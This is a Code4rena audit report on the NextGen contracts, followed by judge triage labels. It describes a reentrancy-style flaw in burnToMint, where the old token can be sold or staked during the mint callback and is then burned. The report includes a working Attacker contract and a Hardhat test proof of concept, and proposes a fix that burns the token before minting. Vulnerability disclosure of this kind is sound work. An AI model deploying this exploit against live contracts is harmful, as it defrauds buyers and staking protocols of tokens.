Burn to mint collection token can be sold or staked before the token is actually burned

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L218-L220

Vulnerability details

Impact

In Burn-to-Mint model, the token to be burned can be sold or staked before it's actually burned, the token owner will get unethical earnings, buyer or staking protocol will suffer a loss.

Proof of Concept

In Burn-to-Mint model, a user burns a NextGen token to get a new NextGen token on a different collection. When user calls burnToMint(...) function, user is not required to transfer the token to the protocol:

    function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
        require(burnToMintCollections[_burnCollectionID][_mintCollectionID] == true, "Initialize burn");
        require(block.timestamp >= collectionPhases[_mintCollectionID].publicStartTime && block.timestamp<=collectionPhases[_mintCollectionID].publicEndTime,"No minting");
        require ((_tokenId >= gencore.viewTokensIndexMin(_burnCollectionID)) && (_tokenId <= gencore.viewTokensIndexMax(_burnCollectionID)), "col/token id error");
        // minting new token
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply");
        require(msg.value >= getPrice(_mintCollectionID), "Wrong ETH");
        uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        // burn and mint token
        address burner = msg.sender;
        gencore.burnToMint(mintIndex, _burnCollectionID, _tokenId, _mintCollectionID, _saltfun_o, burner);
        collectionTotalAmount[_mintCollectionID] = collectionTotalAmount[_mintCollectionID] + msg.value;
    }

After some checks, function burnToMint(...) in NextGenCore.sol is called to do the actual minting and burning:

    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

It could be seen that new collection token will first be minted to user and then the old token is burned,
and in the _mintProcessing function, _safeMint is called:

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

So if the new token receiver is a contract, a callback function _checkOnERC721Received in the receiver contract will be called:

    function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

This is problematic because a malicious user can sell to stake the old token in the _checkOnERC721Received function, as the malicious user is still the owner of the token, after trading/staking, the token is burned, buyer or the staking protocol will lose the token forever.

To verify, please deploy the below contract:

contract Attacker is IERC721Receiver {
    NextGenCore gencore;
    uint256 tokenIdToSellOrStake;
    bool public tokenSoldOrStaked;

    constructor(address _gencore) {
        gencore = NextGenCore(_gencore);
    }

    function sellOrStake(address to, uint256 tokenId) public {
        // transfer to sell or stake
        gencore.transferFrom(address(this), to, tokenId);
        tokenSoldOrStaked = true;
    }

    function getApproval4BurnToMint() public {
        gencore.approve(msg.sender, tokenIdToSellOrStake);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (tokenIdToSellOrStake == 0) {
            tokenIdToSellOrStake = tokenId;
        } else {
            sellOrStake(address(1), tokenIdToSellOrStake);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

And run the test case in nextGen.test.js:

context("Audit", () => {
  it("#Burn to Mint and then to Sell or Stake", async function() {
    await time.increaseTo(1700000001);

    // create collection to burn (Collection 5)
    await contracts.hhCore.createCollection("Burn Collection", "", "", "", "", "", "", [],)
    await contracts.hhAdmin.registerCollectionAdmin(5, signers.addr1.address, true,)
    await contracts.hhCore.connect(signers.addr1).setCollectionData(5, signers.addr1.address, 2, 10000, 0,)
    await contracts.hhMinter.setCollectionCosts(5, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,)
    await contracts.hhMinter.setCollectionPhases(5, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",)
    await contracts.hhCore.addRandomizer(5, contracts.hhRandomizer,)

    // create collection to Mint (Collection 6)
    await contracts.hhCore.createCollection("Mint Collection", "", "", "", "", "", "", [],)
    await contracts.hhAdmin.registerCollectionAdmin(6, signers.addr1.address, true,)
    await contracts.hhCore.setCollectionData(6, signers.addr1.address, 2, 10000, 0,)
    await contracts.hhMinter.setCollectionCosts(6, BigInt(1000000000000000000), 0, 0, 200, 1, ethers.ZeroAddress,)
    await contracts.hhMinter.setCollectionPhases(6, 1700000000, 1700000000, 1700000000, 1700086400, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870",)
    await contracts.hhCore.addRandomizer(6, contracts.hhRandomizer,)

    // initialize burn collection 5 to mint for collection 6
    await contracts.hhMinter.initializeBurn(5, 6, true)

    // mint collection 5 to attacker
    await contracts.hhMinter.mint(5, 1, 0, '', contracts.attacker.getAddress(), [], ethers.ZeroAddress, 0, { value: BigInt(1000000000000000000) })
    const tokenIdToSellOrStake = await contracts.hhCore.viewTokensIndexMin(5) + await contracts.hhCore.viewCirSupply(5) - BigInt(1);
    expect(await contracts.hhCore.ownerOf(tokenIdToSellOrStake), await contracts.attacker.getAddress())
    expect(await contracts.attacker.tokenSoldOrStaked(), false);

    // burn to mint
    await contracts.attacker.getApproval4BurnToMint()
    await contracts.hhMinter.burnToMint(5, tokenIdToSellOrStake, 6, 0, { value: BigInt(1000000000000000000) })

    // token is successfully sold or staked
    expect(await contracts.attacker.tokenSoldOrStaked(), true);
  })
})

Tools Used

Manual Review

Recommended Mitigation Steps

Old collection token should be burned before minting new collection token.

        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
+            // burn token
+            _burn(_tokenId);
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
-            // burn token
-            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;

Assessed type

ERC721

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-pre-sort]

141345 marked the issue as duplicate of #1597

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1597

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)

[c4-judge]

alex-ppg marked the issue as partial-50